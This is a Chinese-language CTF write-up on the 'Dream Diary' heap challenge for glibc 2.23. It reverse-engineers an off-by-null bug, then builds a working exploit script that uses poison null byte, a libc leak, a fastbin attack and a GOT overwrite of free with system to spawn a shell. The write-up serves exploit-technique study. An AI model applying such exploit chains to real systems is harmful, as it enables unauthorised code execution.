该题目在1的基础上,内存布局申请变得更加混乱,原本的off by one变成了off by null,克服这些挑战拿到shell
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第2天,希望能坚持下去
题目情况
Hint: Xenial Xerus
这是ubuntu16.04lts的代号,意味着适用2.23的libc
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
逆向分析
这次选项更多了:
+------------------------------+
| Dream Diary |
+------------------------------+
| [1] Allocate |
| [2] Edit |
| [3] Delete |
| [4] Dump |
| [5] Exit |
+------------------------------+
选项1:Allocate
unsigned __int64 allocate()
{
__int64 v0; // rbx
int i; // [rsp+0h] [rbp-30h]
size_t size; // [rsp+8h] [rbp-28h]
__int64 buf; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
buf = 0LL;
for ( i = 0; ; ++i )
{
if ( i > 15 ) // 最多16个
{
puts("Too many notes!");
return __readfsqword(0x28u) ^ v5;
}
if ( !*(&ptr + i) )
break;
}
printf("\nSize: ");
if ( (int)read(0, &buf, 4uLL)
申请操作会申请2次内存,第一次申请0x10字节的内存,保存输入的size,第二次申请指定size的内存,保存数据
可以猜测这里的ptr是个结构体:
sz ptr[COUNT];
struct sz{
int size;
char* data;
}
无漏洞
选项2:edit
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
read(0, &buf, 4uLL);
v1 = atoi((const char *)&buf);
if ( (unsigned int)v1
这里使用输入的size来作为编辑data的大小上限,然后调用了sub_400B12:
__int64 __fastcall sub_400B12(__int64 a1, __int64 a2)
{
__int64 result; // rax
result = a1 + a2;
*(_BYTE *)(a1 + a2) = 0;
return result;
}
给输入的数据末尾设置00作为字符串截断,这里字符串索引是从0开始的,这里没有对长度-1操作,导致off by null漏洞
选项3:Delete:
unsigned __int64 delete()
{
int v1; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
read(0, &buf, 4uLL);
v1 = atoi((const char *)&buf);
if ( (unsigned int)v1
释放2块内存,但是只清空了size指针,没有清空data 的指针,可能uaf?
选项4:Dump
unsigned __int64 dummp()
{
int v1; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
if ( (int)read(0, &buf, 4uLL)
可以用来泄露数据
利用分析
当前情况分析
利用计划
第一步:通过off by null作为入口点,创造重叠块
第二步,通过fastbin attack劫持指针数组
第三步:任意内存修改,攻击 ELF GOT 来 drop shell(打Hook也行,打IO也行,打哪儿都行)
辅助函数
def cmd(i, prompt=b">> "):
sla(prompt, i)
def add(sz:int,data:bytes):
cmd('1')
sla(b"Size: ",str(sz).encode())
sla(b"Data: ",data)
#......
def edit(idx:int,data:bytes):
cmd('2')
sla(b"Indexs: ",str(idx).encode())
sla(b"Data: ",data)
#......
def show(idx: int):
cmd('4')
sla(b"Index: ",str(idx).encode())
#......
def free(idx: int):
cmd('3')
sla(b"Index: ",str(idx).encode())
#......
Heap FengShui - 提前布局
每次申请内存都会分配1个0x20的chunk和一个我们自定义大小的chunk
这个0x20大小的chunk穿插在中间很干扰操作,得想个办法处理一下
在不断瞎操作下,发现,如果我能创造大量的0x20的fastbin chunk,那么自此之后再做新的申请,这个0x20就不会干扰我了
# heap fengshui
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x2f0,b"1")
add(0x18,cyclic(0x18)) # 5
free(0)
free(1)
free(2)
free(3)
free(4)
第一步,申请一堆0x20的chunk,然后全部释放掉,都进入fastbin
这里中间申请了一个0x2f0的chunk,用于后续操作用,会释放掉作为后续申请内存操作的空间
最后申请的那个0x20用来分隔top chunk,防止合并
此时的堆布局:
pwndbg> vis 100
0x1b86000 0x0000000000000000 0x0000000000000021 ........!.......
Poison Null Byte - 创造重叠 chunk
对于off by null的场景,一个很好使的法子就是poison Null Byte,在libc2.23下,只需要满足伪造好next chunk的prev_size和size即可
# poison null-byte
add(0x28,b"\x00"*0x20+pack(0x30)) # 0
add(0x208,b"\x00"*0x1f0+pack(0x200)+pack(0x21)) # 1
add(0xb8,b"C") # 2
free(1)
edit(0,b"AA")
add(0x188,b"D") # 1
add(0x68,b"E"*7) # 3
free(1)
free(2)
申请1个小的chunkA,用于溢出,申请1个大的chunkB,用于在内部创造重叠chunk,申请1个能进unsortedbin的chunkC用于触发合并操作
这里先将chunkB释放掉,通过off by null改小其size
然后分2次申请内部chunkB1和chunkB2,其中chunkB2就是重叠chunk
释放了chunkB1之后,chunkB1是unsortedbin chunk,链表是完整的
然后释放chunkC,chunkC会触发向上合并,因为此时chunkC的prev_inused依然是之前释放chunkB时候的0,所以会根据prev_size定位上一个chunk,然后直接合并插入链表,没有其他的检查
此时的堆:
pwndbg> vis 100
0x1b86000 0x0000000000000000 0x0000000000000021 ........!.......
得到了一个0x2d1的chunk,但是其中的chunkB2还处于被申请走的状态,自此得到重叠chunk
Fastbin Attack - 劫持 ptr 数组
chunkB2上有libc地址,顺便泄露出来用用,得到重叠chunk之后,就和之前一样,找fake fastbin chunk,申请走,覆盖ptr数组:
show(3)
ru(b"Data")
leak = r(0x10)[10:]
leak = unpack(leak,"all")
success("leak addr: 0x{:x}".format(leak))
#libc.address = leak-0x192b78 # debug
libc.address = leak-0x3c4b78
success("libc base addr: 0x{:x}".format(libc.address))
free(3)
# fastbin attack & Hijack ptr array
fd = 0x60209d
add(0x2c8,b"\x00"*0x188 + pack(0x71) + pack(fd)) # 1
此时的bins:
pwndbg> bin
fastbins
0x20: 0x1b860e0 —▸ 0x1b860c0 —▸ 0x1b860a0 —▸ 0x1b86040 —▸ 0x1b86060 —▸ 0x1b86000 —▸ 0x1b86020 ◂— 0x0
0x70: 0x1b862e0 —▸ 0x60209d ◂— 0x0
unsortedbin
empty
smallbins
empty
largebins
empty
Hijack ELF GOT - Drop Shell
最后一步了,现在能做到任意地址写了,就和之前的操作一样,直接劫持ptr,劫持elf GOT表完成Drop Shell
add(0x68,b"a")
# Hijack ELF GOT
fake_arr = \
pack(0x6020f0)+pack(0x6020e0)+\
b"/bin/sh\x00"+pack(0)+\
pack(0x6020e0)+pack(0x6020d0)+\
pack(0x7) + pack(elf.got.free)
add(0x68,b"\x00"*0x13 + fake_arr)
edit(0 , pack(libc.sym.system))
free(1)
这就没啥好说的了,劫持free函数执行system函数,free一个有/bin/sh的地址
完整exp
#!/usr/bin/env python3
# Date: 2024-10-25 10:44:30
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b">> "):
sla(prompt, i)
def add(sz:int,data:bytes):
cmd('1')
sla(b"Size: ",str(sz).encode())
sla(b"Data: ",data)
#......
def edit(idx:int,data:bytes):
cmd('2')
sla(b"Index: ",str(idx).encode())
sla(b"Data: ",data)
#......
def show(idx: int):
cmd('4')
sla(b"Index: ",str(idx).encode())
#......
def free(idx: int):
cmd('3')
sla(b"Index: ",str(idx).encode())
#......
# heap fengshui
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x2f0,b"1")
add(0x18,cyclic(0x18)) # 5
free(0)
free(1)
free(2)
free(3)
free(4)
# poison null-byte
add(0x28,b"\x00"*0x20+pack(0x30)) # 0
add(0x208,b"\x00"*0x1f0+pack(0x200)+pack(0x21)) # 1
add(0xb8,b"C") # 2
free(1)
edit(0,b"AA")
add(0x188,b"D") # 1
add(0x68,b"E"*7) # 3
free(1)
free(2)
show(3)
ru(b"Data")
leak = r(0x10)[10:]
leak = unpack(leak,"all")
success("leak addr: 0x{:x}".format(leak))
#libc.address = leak-0x192b78 # debug
libc.address = leak-0x3c4b78
success("libc base addr: 0x{:x}".format(libc.address))
free(3)
# fastbin attack & Hijack ptr array
fd = 0x60209d
add(0x2c8,b"\x00"*0x188 + pack(0x71) + pack(fd)) # 1
add(0x68,b"a")
# Hijack ELF GOT
fake_arr = \
pack(0x6020f0)+pack(0x6020e0)+\
b"/bin/sh\x00"+pack(0)+\
pack(0x6020e0)+pack(0x6020d0)+\
pack(0x7) + pack(elf.got.free)
add(0x68,b"\x00"*0x13 + fake_arr)
edit(0 , pack(libc.sym.system))
free(1)
ia()
总结
本练习相关的知识:
off by null 创造重叠块
参考资料